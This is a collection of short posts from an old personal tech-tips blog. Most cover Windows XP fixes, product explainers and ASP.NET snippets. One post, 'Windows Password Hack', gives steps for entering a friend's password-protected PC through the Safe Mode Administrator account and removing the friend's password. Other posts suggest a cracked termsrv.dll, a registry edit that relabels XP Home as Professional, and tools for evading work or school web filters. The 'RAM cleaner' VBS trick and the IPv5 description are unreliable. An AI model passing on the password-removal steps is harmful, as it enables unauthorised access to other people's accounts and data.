ANYTHING ABOUT COMPUTER

Clean Your PC Memory and Make Your Computer Speed Better [Windows XP Tips]

2010-01-13T18:18:00.001+08:00

Clean your RAM
You may recognize that your system gets slower and slower when playing and working a lot with your Desktop or a laptop. That's because your RAM is full of remaining progress pieces that you do not need any more. But you can clean this the following way :-

1. Open the notepad and type

FreeMem=Space(64000000)

2. in this file and save it as RAMcleaner.vbs [ You should choose the "All Files" option when you save it ]

3. Run the file and your RAM may be cleaned

Of course you can edit the code in the file for a greater "cleaning-progress"

eg: FreeMem=Space(128000000)
This trick is 100% safe. It cannot harm your computer in no way. It dose'nt give any notifications so being worked or not purely depends upon ur experience of speeding up after running "RAMcleaner.VBS". You dont need to restart or do anything.[it normally works in most cases]

What is Blu-ray Disc [Technology]

2010-01-05T16:40:00.006+08:00

Blu-ray (not Blue-ray) also known as Blu-ray Disc (BD), is the name of a next-generation optical disc format jointly developed by the Blu-ray Disc Association (BDA), a group of the world's leading consumer electronics, personal computer and media manufacturers (including Apple, Dell, Hitachi, HP, JVC, LG, Mitsubishi, Panasonic, Pioneer, Philips, Samsung, Sharp, Sony, TDK and Thomson). The format was developed to enable recording, rewriting and playback of high-definition video (HD), as well as storing large amounts of data. The format offers more than five times the storage capacity of traditional DVDs and can hold up to 25GB on a single-layer disc and 50GB on a dual-layer disc. This extra capacity combined with the use of advanced video and audio codecs will offer consumers an unprecedented HD experience.

While current optical disc technologies such as DVD, DVD±R, DVD±RW, and DVD-RAM rely on a red laser to read and write data, the new format uses a blue-violet laser instead, hence the name Blu-ray. Despite the different type of lasers used, Blu-ray products can easily be made backwards compatible with CDs and DVDs through the use of a BD/DVD/CD compatible optical pickup unit. The benefit of using a blue-violet laser (405nm) is that it has a shorter wavelength than a red laser (650nm), which makes it possible to focus the laser spot with even greater precision. This allows data to be packed more tightly and stored in less space, so it's possible to fit more data on the disc even though it's the same size as a CD/DVD. This together with the change of numerical aperture to 0.85 is what enables Blu-ray Discs to hold 25GB/50GB. Recent development by Pioneer has pushed the storage capacity to 500GB on a single disc by using 20 layers.

Blu-ray is currently supported by about 200 of the world's leading consumer electronics, personal computer, recording media, video game and music companies. The format also has support from all Hollywood studios and countless smaller studios as a successor to today's DVD format. Many studios have also announced that they will begin releasing new feature films on Blu-ray Disc day-and-date with DVD, as well as a continuous slate of catalog titles every month. For more information about Blu-ray movies, check out our Blu-ray movies and Blu-ray reviews section which offers information about new and upcoming Blu-ray releases, as well as what movies are currently available in the Blu-ray format.

Source: www.blu-ray.com

VLC media player [Free Download]

2010-01-05T16:22:00.000+08:00

The cross-platform open-source multimedia framework, player and server

VLC media player is a highly portable multimedia player and multimedia framework capable of reading most audio and video formats (MPEG-2, MPEG-4, H.264, DivX, MPEG-1, mp3, ogg, aac ...) as well as DVDs, Audio CDs VCDs, and various streaming protocols. See the full features list.
It can also be used as a media converter or a server to stream in unicast or multicast in IPv4 or IPv6 on networks.

Download [for Windows]
Download [for Mac OS]
Download [for Syllable]

Or you can visit their website here

How to Get Facebook on Your Desktop [Internet Tips]

2010-01-02T18:07:00.001+08:00

1. Seesmic Desktop
2. Facebooker
3. Xobni
4. Facebook Sidebar Gadget
5. Scrapboy
6. Facebook AIR Application

are desktop applications that allows you interact with your stream just as you would on Facebook, but without the browser.

Source: www.hongkiat.com

Nokia E72 How to check phone life time [Mobile Phone Tips]

2010-01-02T16:30:00.005+08:00

The tip
To check the life-time of your phone (the total amount of time the device has been used to call) and find out that your phone is really brand new:

1. Go to the main screen or desk by pressing the red, end call button

2. Type *#92702689#

Fix "PrivacyIconClient.exe" popup error [Windows XP Repair]

2009-12-29T14:58:00.001+08:00

Computer problems have a habit of appearing out of the blue, and a privacyiconclient exe error can be surprising and very troublesome; but if you'll just read the next few paragraphs, I will share some helpful information which will empower you to rid your computer of this problem.

It is often the case that computer errors start and end with your pc's registry system - this is the tool that windows uses to 'register' your software & hardware each time you perform installations or updates or remove items. As time goes by and your pc gets filled up with the latest and greatest applications, it's fairly typical that sometime you'll experience an improper installation/uninstallation of a program; this may lead to your getting a privacyiconclient exe error, decreased speed and performance, and other troubles of this nature.

What takes place is that one more segments of your system's registry can be either damaged or corrupted, causing your windows to fail when it tries to operate one or few of your applications; when it happens, windows 'spits' these popup error messages (in the best case…). Anyway, you don't need to worry about it, since as i mentioned in the beginning it is in most cases repairable.

Before going to a computer technician for an expensive solution, or try to 'mess' with your Impaired registry all alone - wait! It is not a difficult job to repair a privacyiconclient.exe error; even if you are a beginner at this sort of thing , there are quite useful software tools called: 'registry cleaners' that find any problems with your registry, and quickly repair them for you. Most applications of this type will even offer free downloads, scans, and repair (limited), therefore, you might as well download one of these programs and let it scan and fix the problem.

Or you can do like this

1. Start -> Run

2. Type "msconfig" then click OK button

3. System Configuration Utility Window will pop up

4. Click "StartUp" Tab

5. Look for "PrivacyIconClient" under StartUp Item and Uncheck

6. Click "OK" and re-start the PC

Your Done!

Retrieving File Information [ASP.Net Tips]

2009-12-27T18:47:00.000+08:00

Using ASP.NET it is very easy to extract information about a file, including its name, path, extension, size, and various access and creation datetimes. This article quickly goes over the code needed to gather information about files.

As with many things in ASP.NET, the .NET Framework is going to do all of our work for us. Using Classic ASP, it was necessary to use the Scripting.FileSystemObject to reference information about files. In .NET, this is replaced with the System.IO namespace, which includes a number of classes for referencing file system information. One class in particular that exposes pretty much all of the information you'd ever want to know about a file is aptly named FileInfo. The example, detailed below, uses this object to extract quite a bit of information about a file (in this case, itself). Note that you can also use the FileInfo class to perform operations on files, such as copying or renaming, but that is the subject of another article.

fileinfo.aspx (C#)

<%@ Page Language="c#" %>
<script runat="server">

protected System.IO.FileInfo objFI;
protected String filename;

protected void Page_Load(){
    if(!IsPostBack){
        // Get the path of this file
        filename = Request.ServerVariables["PATH_TRANSLATED"];

        // Create a new FileInfo object for this filename
        objFI = new System.IO.FileInfo(filename);

        // Populate File Information Fields
        fullname.Text = objFI.FullName;
        name.Text = objFI.Name;
        size.Text = objFI.Length.ToString();
        created.Text = objFI.CreationTime.ToString();
        accessed.Text = objFI.LastAccessTime.ToString();
        modified.Text = objFI.LastWriteTime.ToString();
        directory.Text = objFI.DirectoryName;
        extension.Text = objFI.Extension;
    }
}
</script>
<HTML>
<HEAD>
<link type="text/css" rel="stylesheet" href="http://aspalliance.com/stevesmith/include/ss.css" /></head>
</HEAD>
<BODY>
<form runat="server">
<b>File Information</b>
<table class="articlelist">
<tr>
    <td class="header">Full Name</td>
    <td>
        <asp:Label id="fullname" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Name</td>
    <td>
        <asp:Label id="name" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Extension</td>
    <td>
        <asp:Label id="extension" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Size</td>
    <td>
        <asp:Label id="size" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Created</td>
    <td>
        <asp:Label id="created" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Modified</td>
    <td>
        <asp:Label id="modified" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Accessed</td>
    <td>
        <asp:Label id="accessed" runat="server"/>
    </td>
</tr>
<tr>
    <td class="header">Parent Folder</td>
    <td>
        <asp:Label id="directory" runat="server"/>
    </td>
</tr>
</table>
</form>
</BODY>
</HTML>

Summary
The code should be pretty self-explanatory. First I set a filename variable to the path of the current file (itself), then I instantiate the FileInfo class as the variable objFI, passing the filename into the constructor so that my instance of the object knows which file I'm going to refer to. Having done that, all of the FileInfo class's public properties are available to me, including:

CreationTime
DirectoryName
Extension
FullName
LastAccessTime
LastWriteTime
Length (in bytes)
Name

At this point I just set the Text property of my individual label fields to the values of these properties, and that's all, folks! Hope this helps; amazingly I couldn't find any other articles that cover this important topic. When I do, I'll post some related links.

Source: aspalliance.com

Disabling Auto-Complete on ASP.NET Forms [ASP.Net Tips]

2009-12-27T18:06:00.004+08:00

Popular browsers, such as Internet Explorer and Firefox support something called Auto-Complete. You've seen this many times. You go to a online form and as you start to type in fields you get a drop-down showing values you've typed in that field before. This feature can be turned off, but it really is a useful feature and can save you a lot of typing when entering redundant values.

As a web developer, you have to be conscious of the fact that the user's browser will likely have auto-complete turned on and be responsible enough to act accordingly. If you have a form that where the user could possibly enter private or secure values you need to be mindful that if the user is on a public computer that these values will be cached by the browser and seen by other users of that computer. You are able to control if the browser uses AutoComplete for your form or for specific values with just a small & simple tweak.

To turn off auto-complete for your entire form, all you need to do is add an attribute to your form tag, like this:

<form id="Form1" method="post" runat="server" autocomplete="off">

Easy enough. Now you won't get the auto complete on any of the controls on the form, works for any browser that supports auto-complete. The HTML INPUT tags also support the use of autocomplete=off and since the <asp:TextBox />control renders as INPUT tags then you can use it to set it on a control by control basis. Just add it to the TextBox at design-time (but note that VS.NET will underline it with a squiggly saying that textbox does not have an attribute for autocomplete - but it will still work):

<asp:TextBox Runat="server" ID="Textbox1" autocomplete="off"></asp:TextBox>

or at runtime:

Textbox1.Attributes.Add("autocomplete", "off");

Source: ryanfarley.com

How disable or enable Internet Explorer's AutoComplete [Internet Tips]

2009-12-27T16:24:00.000+08:00

The Internet Explorer AutoComplete feature can be enabled and disabled by following the below steps.

1. Open Microsoft Internet Explorer.

2. Click Tools and then Internet Options.

3. In the Internet Options window click the Content tab.

4. Click the AutoComplete button.

5. Check or uncheck the options you wish have or not have AutoComplete. Below is a brief explanation of what each of the options are for.

Web page addresses
AutoComplete for the address typed in the address bar.

Forms
Enable a user to fill out fields that are commonly completed such as e-mail, address, phone number, etc.

User names and passwords on forms
Any forms that are requiring usernames. This can be helpful for users who are frequently needing to enter their username and password. However, can also be a security risk if that computer is used or accessible by other users.

How to Disable AutoComplete in Firefox [Internet Tips]

2009-12-27T16:18:00.002+08:00

AutoComplete not only makes it easier for you to automatically fill in forms and logon to secure sites - it also makes it easier for Trojans and hackers to gain access to your personal data and logon credentials. Here's how to clear the sensitive data stored by AutoComplete and how to disable the feature to protect yourself from compromise.

Steps

1. Open the Firefox browser.

2. From the Firefox menu, select 'Tools'

3. Select 'Options'

4. Click 'Privacy'

5. Click 'Saved Forms'

6. Click 'Settings'

7. Select all options in the 'Clear Private Data' window

8. Click OK

9. Click 'Clear Saved Form Data Now'

10. Uncheck 'Save information I enter in forms and the Search Bar'

11. Click OK

Source: antivirus.about.com

Google Phone / Nexus One makes first Twitter appearance? [Technology]

2009-12-26T17:57:00.000+08:00

Look familiar? For a story that broke on Twitter it's only fitting that the first reported picture of the mythical, magical "Google Phone" (AKA, Nexus One) would appear there as well. The tweeted image above appears courtesy of one Cory O'Brien, an account manager at a San Francisco Bay Area marketing agency that does not list Google as a client.

That note of caution aside, the image above is an exact match to that leaked HTC Passion / Bravo image from October, only this time lacking the HTC logo on the top-side bezel. Besides the pic, O'Brien tweets that the "Google Phone = iPhone + a little extra screen and a scroll wheel. Great touch screen, and Android." Granted, none of this is confirmed yet, but with Google releasing so many of the devices as part of its "mobile lab" concept, well, we expect to see plenty more sightings in the run up to the rumored January launch.

Update 1
A quick search for "nexus one" on Google's Picasa photo service reveals several pictures taken with a camera pegged as the HTC Nexus One in the EXIF data. The very first of these geotagged 2592×1944 pixel (that's a 5 megapixel sensor folks, hardly "weirdly large" as described by TechCrunch) images were taken by user Bradley (who just happens to be a Picasa friend to Sergey... hint) in the SF Bay Area on November 27th. A few are clearly lit by an onboard flash as well. In fact, many of the pics appear to be taken from within Google's offices and at Google sponsored events. The quality is not exactly spectacular and that won't likely change in the final product because even Google's bound by the laws of physics when it comes to tiny cellphone sensors.

Update 2
The device seems to have been around earlier with an EXIF identifier of "Phone88." Fortunately, Google's own employees have uploaded pics of the device, by the device, for us to marvel at -- so meta. Check the gallery for the images or a quickie close-up posted after the break.

Download Google Chrome Beta For Mac OS X And Linux [Free Download]

2009-12-26T17:38:00.001+08:00

Mac OS X
Google has finally launched the beta version of their popular browser for Mac OS X. However the beta version at this time is available only Mac OS X 10.5 version.

You can now take advantage of Google Chrome’s speed and ability to search the web right from the address bar. Additionally you can now choose to import your Safari and or Firefox bookmarks and preferences and carry them over to Google Chrome.

Google Chrome Extensions has been launched finally. While we compile our notes about it, go ahead and download the Google Chrome for Mac OS X 10.5

Mac OS X Chrome Download

Linux
Linux users can now cheer! Those who have been patiently waiting to download and use Google Chrome can now download the beta version of Google Chrome for Linux. It supports Linux (Debian/Ubuntu/Fedora/openSUSE)

Linux Chrome Download

Source: tech-buzz.net

5 Methods To Bypass Blocked Sites [Internet Tips]

2009-12-26T17:09:00.006+08:00

So you’re at work or school and you want to check your profile or watch a YouTube video. Lo and behold, it’s blocked. Now you have two options – be productive or try and bypass the filter. Usually one would choose the latter, but how would you do that? Here’s some options.

XeroBank

The xB Browser is a whole web browser based on FireFox portable. It routes you via the Tor network. The down side? The Tor Network can be a bit slow and unreliable, but for the most part it looks and works just like a regular FireFox portable installation. It deletes all traces after exit. XeroBank also offers a monthly plan for their private, faster network.

We covered XeroBank in more detail here. [Windows]

UltraSurf
This has recently become my favorite software tool for bypassing blocked web sites. UltraSurf is seriously one of the best tools for the job. There is no install, so download the “exe” file onto a USB drive and run it whenever you need it.

When you open it up, it will open Internet Explorer with the UltraSurf homepage. From there the web is your oyster.

But why do I like it so much? First of all, it’s fast, it routes you through a possible three servers so you get highly reliable speeds. Second, it uses IE which is what you have if you’re on IT lockdown, so it doesn’t look suspicious and you don’t need to have two different browsers open at the same time. Also, since it uses your existing browser, things like Flash and Java will work like normal. Once you close UltraSurf it will erase your history and cookies. [Windows]

Remote Access
I wrote about remote access earlier, but it also works great for bypassing blocked sites. Simply log on to your home computer with LogMeIn’s Java viewer or whatever else you use and browse the internet from your own computer! It might lag a bit, but it works great! You can also use any software on your computer, too.

WebToMail
This one is interesting. If you have access to email, you have access to WebToMail. Just send an email to send@webtomail.co.cc with the URL as the subject and wait a few minutes and you’ll get an email with the web page. Unfortunately, it won’t work with sites that you need to login to, or websites with Flash or Java, but works with most other pages.

Source: www.makeuseof.com

What Is An IP Address [Technology]

2009-12-26T15:03:00.000+08:00

IP Address (Internet Protocol Address)
This number is an exclusive number all information technology devices (printers, routers, modems, et al) use which identifies and allows them the ability to communicate with each other on a computer network. There is a standard of communication which is called an Internet Protocol standard (IP).

In laymans terms it is the same as your home address. In order for you to receive snail mail at home the sending party must have your correct mailing address (IP address) in your town (network) or you do not receive bills, pizza coupons or your tax refund.

The same is true for all equipment on the internet. Without this specific address, information cannot be received. IP addresses may either be assigned permanently for an Email server/Business server or a permanent home resident or temporarily, from a pool of available addresses (first come first serve) from your Internet Service Provider. A permanent number may not be available in all areas and may cost extra so be sure to ask your ISP.

Domain Name System (DNS)
This allows the IP address to be translated to words. It is much easier for us to remember a word than a series of numbers. The same is true for email addresses.

For example, it is much easier for you to remember a web address name such as whatismyip.com than it is to remember 192.168.1.1 or in the case of email it is much easier to remember email@somedomain.com than email@192.168.1.1

Dynamic IP Address
An IP address that is not static and could change at any time. This IP address is issued to you from a pool of IP addresses allocated by your ISP or DHCP Server. This is for a large number of customers that do not require the same IP Address all the time for a variety of reasons. Your computer will automatically get this number as it logs on to the network and saves you the trouble of having to know details regarding the specific network configurations. This number can be assigned to anyone using a dial-up connection, Wireless and High Speed Internet connections. If you need to run your own email server or web server, it would be best to have a static IP.

Static IP Address
An IP address that is fixed and never changes. This is in contrast to a dynamic IP address which may change at any time. Most ISP's a single static IP or a block of static IP's for a few extra bucks a month.

IP version 4
Currently used by most network devices. However, with more and more computers accessing the internet, IPv4 addresses are running out quickly. Just like in a city, addresses have to be created for new neighborhoods but, if your neighborhood gets too large, you will have to come up with an entire new pool of addresses. IPv4 is limited to 4,294,967,296 addresses.

IP version 5
This is an experimental protocol for UNIX based systems. In keeping with standard UNIX (a computer Operating System) release conventions, all odd-numbered versions are considered experimental. It was never intended to be used by the general public.

IP version 6
The replacement for the aging IPv4. The estimated number of unique addresses for IPv6 is 340,282,366,920,938,463,463,374,607,431,768,211,456 or 2^128.

The old and current standard of addresses was this: 192.168.100.100 the new way can be written different ways but means the same and are all valid:

* 1080:0000:0000:0000:0000:0034:0000:417A

* 1080:0:0:0:0:34:0:417A

* 1080::34:0:417A

Source: whatismyip.com

NTLDR is Missing [Windows XP Repair]

2009-11-22T19:15:00.003+08:00

Problem
NTLDR is Missing.

Related errors
Below are the full error messages that may be seen when the computer is booting.

NTLDR is Missing
Press any key to restart

Boot: Couldn't find NTLDR
Please insert another disk

NTLDR is missing
Press Ctrl Alt Del to Restart

Causes

1. Computer is booting from a non-bootable source.

2. Computer hard disk drive is not properly setup in BIOS.

3. Corrupt NTLDR and/or NTDETECT.COM file.

4. Misconfiguration with the boot.ini file.

5. Attempting to upgrade from a Windows 95, 98, or ME computer that is using FAT32.

6. New hard disk drive being added.

7. Corrupt boot sector / master boot record.

8. Seriously corrupted version of Windows 2000 or Windows XP.

9. Loose or Faulty IDE/EIDE hard disk drive cable.

10. Failing to enable USB keyboard support in the BIOS.

Solutions
Computer is booting from a non-bootable source

Many times this error is caused when the computer is attempting to boot from a non-bootable floppy disk or CD-ROM . First verify that no floppy diskette is in the computer, unless you are attempting to boot from a diskette.

If you are attempting to boot from a floppy diskette and are receiving this error message it is likely that the diskette does not have all the necessary files and/or is corrupt.

If you are attempting to install Windows XP or Windows 2000 and are receiving this error message as the computer is booting verify that your computer BIOS has the proper boot settings. For example, if you are attempting to run the install from the CD-ROM make sure the CD-ROM is the first boot device, and not the hard disk drive.

Second, when the computer is booting you should receive the below prompt.

Press any key to boot from the CD

Important: When you see this message presssuch as the Enter key immediately, otherwise it will try booting from the hard drive and likely get the NTLDR error again.

Note: If you are not receiving the above message and your BIOS boot options are set properly it's also possible that your CD-ROM drive may not be booting from the CD-ROM properly. Verify the jumpers are set properly on the CD-ROM drive. Additional information about checking the CD-ROM drive connections can be found on document CH000213.

Additional information: This error has also been known to occur when a memory stick is in a card reader and the computer is attempting to boot from it. If you have any type of card reader or flash reader make sure that no memory stick is inside the computer.

Computer hard disk drive is not properly setup in BIOS

Verify that your computer hard disk drive is properly setup in the BIOS / CMOS setup. Improper settings can cause this error. Additional information on how to enter the BIOS / CMOS setup can be found in document CH000192.

Corrupt NTLDR and/or NTDETECT.COM file

Windows 2000 users
Windows XP users
Windows 2000 users

If your computer is using Microsoft Windows 2000 and you are encountering the NTLDR error. Create the below boot.ini file on the floppy diskette drive.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect

Copy the NTLDR and NTDETECT.COM files from another computer using the same operating system. Both of these files are located in the root directory of the primary hard disk drive. For example, C:\NTLDR and C:\NTDETECT.COM should be the locations of these files on many computers.

Please keep in mind that these files are hidden system files, if you need additional help with viewing hidden files in Windows please see document CH000516.

Once these files have been copied to a floppy diskette reboot the computer and copy the NTLDR and NTDETECT.COM files to the root directory of the primary hard disk drive. Below is an example of what commonly should be performed from the A:\> drive.

copy ntldr c:
copy ntdetect.com c:

After the above two files have been copied, remove the floppy diskette and reboot the computer.

Windows XP users

1. Insert the Windows XP bootable CD into the computer.

2. When prompted to press any key to boot from the CD, press any key.

3. Once in the Windows XP setup menu press the "R" key to repair Windows.

4. Log into your Windows installation by pressing the "1" key and pressing enter.

5. You will then be prompted for your administrator password, enter that password.

6. Copy the below two files to the root directory of the primary hard disk. In the below example we are copying these files from the CD-ROM drive letter, which in this case is "e." This letter may be different on your computer.

copy e:\i386\ntldr c:\
copy e:\i386\ntdetect.com c:\

7. Once both of these files have been successfully copied, remove the CD from the computer and reboot.

Misconfiguration with the boot.ini file

Edit the boot.ini on the root directory of the hard disk drive and verify that it is pointing to the correct location of your Windows operating system and that the partitions are properly defined. Additional information about the boot.ini can be found on document CH000492.

Attempting to upgrade from a Windows 95, 98, or ME computer that is using FAT32

If you are getting this error message while you are attempting to upgrade to Windows 2000 or Windows XP from Windows 95, Windows 95, or Windows ME running FAT32 please try the below recommendations.

1. Boot the computer with a Windows 95, Windows 98 or Windows ME bootable diskette.

2. At the A:\> prompt type:

sys c:

3. After pressing enter you should receive the "System Transferred" message. Once this has been completed remove the floppy diskette and reboot the computer.

New hard disk drive being added

If you are attempting to add a new hard disk drive to the computer make sure that drive is a blank drive. Adding a new hard disk drive to a computer that already has Windows installed on it may cause the NTLDR error to occur.

If you are unsure if the new drive is blank or not try booting from a bootable diskette and format the new hard disk drive.

Corrupt boot sector / master boot record

It's possible your computer's hard disk drive may have a corrupt boot sector and/or master boot record. These can be repaired through the Microsoft Windows Recovery console by running the fixboot and fixmbr commands.

Additional information and help in getting into the Microsoft Windows Recovery console can be found on document CH000627.

Seriously corrupted version of Windows 2000 or Windows XP

If you have tried each of the above recommendations that apply to your situation and you continue to experience this issue it is possible you may have a seriously corrupted version of Microsoft Windows. Therefore we would recommend you reinstall Microsoft Windows 2000 and Windows XP.

If you are encountering this issue during your setup you may wish to completely erase your computer hard disk drive and all of its existing data and then install Microsoft Windows 2000 / Windows XP. Additional information about erasing the computer and starting over can be found on document CH000186.

Loose or Faulty IDE/EIDE hard disk drive cable

This issue has been known to be caused by a loose or fault IDE/EIDE cable. If the above recommendation does not resolve your issue and your computer hard disk drive is using an IDE or EIDE interface. Verify the computer hard disk drive cable is firmly connected by disconnected and reconnecting the cable.

If the issue continues it is also a possibility that the computer has a faulty cable, try replacing the hard disk drive cable with another cable and/or a new cable.

Install Windows Xp from a USB Flashdrive [Windows XP Configuration]

2009-11-20T22:34:00.003+08:00

A few days ago while working with a DIY netbook, I was presented with the unique task of installing Windows XP without an optical drive. Not having an external USB optical drive, I planned to borrow one from a friend, but I was going to have to wait over a week before he could deliver it to me. So, I did the next best thing and hit Google in search of other options.

I had heard of installing Vista and even Windows 7 RC using a flash drive, but never XP (my operating system of choice). I spent some time researching and by combining a few things I learned on various sites, put together a method that was pretty quick and worked perfectly. I decided to make this guide (complete with clickable screenshots) for people like me who need a no-nonsense method of installing XP from a flash drive.

Before beginning, you need to make sure that the computer you plan to install Windows on can boot from USB. Check your BIOS or motherboard manual if you are unsure of this. You will also need a separate computer to prep the installation on the USB flash drive. You will need a flash drive at least 2 GB in size. Flash drives are extremely cheap so buying one shouldn't be a problem if you don't already have one this size or larger.

The first thing you need to do is download the three files below and save them on your desktop.

PeToUSB.zip

USBprep.zip

BOOTsect.zip

Once you have these downloaded, extract PeToUSB.zip and USBprep.zip separately. Then, copy everything from the PeToUSB folder to the USBprep folder. Now, copy the USBprep folder and place it in C:\

Also, extract BOOTsect.zip and put these files directly in the C:\ directory as well.

Next, you need to put your Windows CD in your optical drive and copy all of the contents from it over to a folder in the C:\ directory. I named mine "XP" so it would be easier to recall later.

Navigate to the USBprep folder in C:\ and double click the usb_prep8.cmd file (yours may or may not have the .cmd extension based on the Windows settings you are using. You can enable file extensions by clicking Tools, Folder Options, View tab, then unticking "Hide extensions for known file types" in the Advanced Settings list).

Clicking usb_prep8.cmd opens up the black and white command screen you see above. Follow the directions on-screen by clicking any button and you will be greeted with another window, PeToUSB. If you have your flash drive plugged in, the program should detect it and list it under the destination drive.

Click "Start" in the PeToUSB window, select "Yes" to continue then again click "Yes" when it asks if you are sure you want to repartition and format the disk. Once complete, click "Ok".

Leave all of these windows open and go to "Start", then "Run" and type in "cmd" to bring up the console window.

Type "cd c:\", without the quotes and press Enter.

Now type "bootsect /nt52 M:", without the quotes. In this example, "M" represents the letter of my flash drive. Yours will likely be different so be sure to check beforehand (it should be listed beside your device name in PeToUSB - if not there, simply double click My Computer on your desktop and locate the drive letter there.) then press Enter.

The command window will inform you that Bootcode was successfully updated on all target volumes.

Now, close out of the current command window and also close PeToUSB. Doing this will bring up a new set of options in the original command window, as seen above.

Press "1" then Enter and you will be asked to browse to the folder that you copied Windows to. Select the folder then click "OK".

Click back on the command window and press "2" then Enter. You will be asked to enter a drive letter that is not already taken. You may want to check in My Computer to be sure you select a letter that isn't already being used. In the screenshot above, I selected "O". Press Enter after selecting your drive letter of choice.

Press "3" then Enter and you will be asked for the drive letter of your flash drive. This is the same letter that you used earlier in bootsect. For me, that letter is "M". Input the letter and press Enter.

Finally, press "4" then Enter. You will be asked if you want to proceed with the format. Type "Y" then press Enter.

The system will pause a moment while the format takes place. Then you will be asked to press any key to continue... do so. This starts the first phase of the process which will take a few minutes.

Once again, you will be prompted to press any key to continue... do so. Another dialog box will pop up, asking you if you want to start the file copy. Click "Yes". The command window will again activate and start copying files to the flash drive which will take a few minutes.

After a bit, you will be asked if you would like USB-stick to be Preferred Boot Drive. Click "Yes".

Finally, a dialog box asks if you would like to unmount the Virtual Drive. Click "Yes".

That's it, you are done! You can close the command window and any other relevant windows that may still be open.

But, we are not done. Now comes time to install XP, which as you will find out, is a bit of a different process when using a flash drive. Continue ahead as we walk through this procedure.

Author: Shawn Knight
Source: http://www.ocia.net/articles/xpflashdrive/page1.shtml

Install and Enable Remote Desktop in Windows XP Home Edition [Windows XP Configuration]

2009-11-19T14:46:00.001+08:00

Windows XP Home Edition (HE) does not come with or support Remote Desktop, or Terminal Services feature. There is Remote Desktop Connection (RDC) client which allows user to connect to remote host, but now accepting any remote desktop connection to the Windows XP Home PC. However, there is way to install and enable Remote Desktop Protocol (RDP) in Windows XP using the trick below.

Note that if you just want to be able to remote control the desktop of the computer running on Windows XP Home Edition, it may be easier and wiser to use the free VNC as alternative instead. One such VNC server and client is UltraVNC.

To run Remote Desktop Terminal Services (server component) in Windows XP Home Edition, the operating system must first made to recognize itself as Windows XP Professional Edition. To do so, follow the guide to convert Windows XP Home to Windows XP Professional.

Confirm that the OS is now Windows XP Professional Edition by going to System Properties, by right clicking on “My Computer” and select “Properties”. Then download and install DevCon (direct download link to devcon.exe), a command-line utility functions as an alternative to Device Manager.

devcon.exe is a self-extractor executable. Execute “devcon.exe” and choose a folder to unpack the content. devcon.exe will create two folders inside the selected path – i386 and ia64.

Open a command prompt window (Cmd), and the change directory into the i386 folder extracted by DevCon. Then run the following command to reinstall rdpdr driver:

devcon.exe -r install %windir%\inf\machine.inf root\rdpdr

Restart the computer after running the command.

At this stage, Windows XP ‘Professional’ which is converted still does not have the necessary Terminal Services related settings in the registry to run the Remote Desktop. To reinstall and enable Terminal Services in Windows XP Home turned Professional OS, download and run the enable_tsxp.bat batch script (also support enable TS in Windows 2000), which will create a .reg file to merge the required Terminal Services values to registry and bootlog. Reboot after patching the registry.

After reboot, the Terminal Services is running and ready to accept incoming Remote Desktop Connection session. To verify the Terminal Services is actually running, go to Control Panel -> Administrator Tools -> Services, and locate the “Terminal Services” entry. If the service is not started, start it manually. There won’t be a “Remote” tab in System Properties, and ensure that the port 3389 (the default port for Remote Desktop) is open in firewall.

Sometimes, it may be useful to patch termsrv.dll with a cracked version which allows multiple RDC sessions and users to fix some problems such as disconnection issue. It’s also good for testing by allowing connect remote desktop to localhost.

Note that the registry settings enable the automatic logon feature, where the system will auto login administrator on local console on every system startup without prompting for password, nor allowing user to select account to log on. To disable this feature, run Registry Editor (regedit), and navigate to the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Change the value data for “AutoAdminLogin” from “1″ to “0″.

Convert and Upgrade Windows XP Home to Professional Without Reinstalling [Windows XP Tips]

2009-11-19T14:45:00.002+08:00

After installing Windows XP Home Edition or Windows XP Professional Edition onto a computer, officially it’s impossible for user to convert, or upgrade from Windows XP Home to Pro edition, or downgrade from Windows XP Professional to Home edition without reformatting and reinstalling the operating system from clean and fresh state.

A lot of people always associate conversion of Windows XP edition to illegitimate or privacy reason, but sometimes, there may be legitimate and genuine reason for change, such as customer, who all the while using Windows XP Home Edition (HE) finally buy a genuine license product key for Professional edition to replace the illegal pirated version installed, or user receives additional license as gift, but don’t want to go through clean install Windows XP again, or want to keep using the computer with all data intact without interruption.

Here’s a trick to convert and turn Windows XP Home Edition to Windows XP Pro Edition, from within the operating system without going through installation again. Ok, let’s be frank. The hack doesn’t actually install and add in all the features from Windows XP Professional that Windows XP Home lacks of, such as Remote Desktop Server (see guide to install Remote Desktop on XP Home) and Group Policy Editor (GPedit) utility tools, which has been removed on Windows XP Home edition. Some functions which turned off and disabled via integrated switches which read from registry flag whether it’s Home or Professional edition, such as EFS, RAID support and ability to join domain, may or may not work after migration. Basically, the trick only work to let Windows XP recognizes itself as Professional edition.

To convert and upgrade Windows XP Home to Windows XP Professional, follow procedure below.

1. Open Registry Editor (regedit).

2. Navigate to HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00X/Control/ProductOptions, where ControlSet00X is the one with the highest number.

3. Delete the ProductSuite registry key.

4. Then, create a new DWORD value and named it as Brand.

5. Set the “Brand” value data as 0.

6. Reboot the system.

7. On boot up after the BIOS screen, press F8 to display Windows XP Startup Menu.

8. Choose Last Known Good Configuration (LNG) and hit Enter.

Windows XP will start up as usual. After logging into the desktop, check the system properties to verify that it’s now Windows XP Professional.

Windows Password Hack [Windows XP Tips]

2009-06-06T16:15:00.005+08:00

Have you ever tried to log friends PC that is password protected.
Here how to beat that administrator password and enter your friends account in a few simple steps:

1. Go to the bottom left side of the screen and select "RESTART" computer

2. Once your computer restart, hit F8 on the keyboard and will bring you to windows advance menu

3. Select "Safe Mode" and hit ENTER, it will take you to a Safe Mode Start-up screen

Once your in the Start-Up menu, you see two accounts, Administrator and your friends account,

4. Choose the Administrator Account and wait to load up.

5. You will be prompt by windows that you are using Safe Mode, simply click OK

6. Once you are in the desktop, go to START->Control Panel->User Accounts

7. Remove your friends password from his/her account.

8. Restart PC and wait to reboot as usual.

Once you reboot the computer, your friends password is remove.

Hack A Windows XP Password Without Any Programs [Windows XP Tips]

2009-06-06T14:53:00.005+08:00

